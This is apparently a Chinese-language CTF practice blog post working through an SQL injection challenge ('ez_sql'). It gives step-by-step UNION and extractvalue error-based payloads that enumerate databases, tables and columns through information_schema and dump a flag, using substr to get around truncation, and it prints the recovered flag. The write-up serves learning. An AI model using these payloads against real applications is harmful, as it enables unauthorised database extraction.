忆昔子~
for me

刷题记录

2025-07-20

[SWPUCTF 2024 秋季新生赛]ez_sql

1.闭合符是单引号

2.列数

1
2
-1' order by 5#
根据报错,只有4列

3.找出可回显的位置

1
-1' union select 1,2,3,4#

4.爆库

得到是ctf

3.爆表名

得到flag,users

1
-1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctf'),0x7e)),4#

4.爆字段名

id,data

1
-1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'ctf' and table_name='flag'),0x7e)),4#

5.读字段NSSCTF{94d59414-9720-4c25-bdcf-ea917e23ce71}

1
2
3
4
5
6
7
8
9
10
11
12
-1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(id,data) from flag),0x7e)),4#

我开始直接查询是只能得到一半flag的,这里用substr
NSSCTF{94d59414-9720-4c2

-1' union select 1,2,extractvalue(1,concat(0x7e,substr((select group_concat(id,data) from flag),1,31),0x7e)),4#


-1' union select 1,2,extractvalue(1,concat(0x7e,substr((select group_concat(id,data) from flag),25,31),0x7e)),4#

拼起来得到
NSSCTF{94d59414-9720-4c25-bdcf-ea917e23ce71}

Author: syifna

Link: http://syifna.github.io/2025/07/20/%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

NextPost >
sqli-labs
CATALOG
  1. 1. [SWPUCTF 2024 秋季新生赛]ez_sql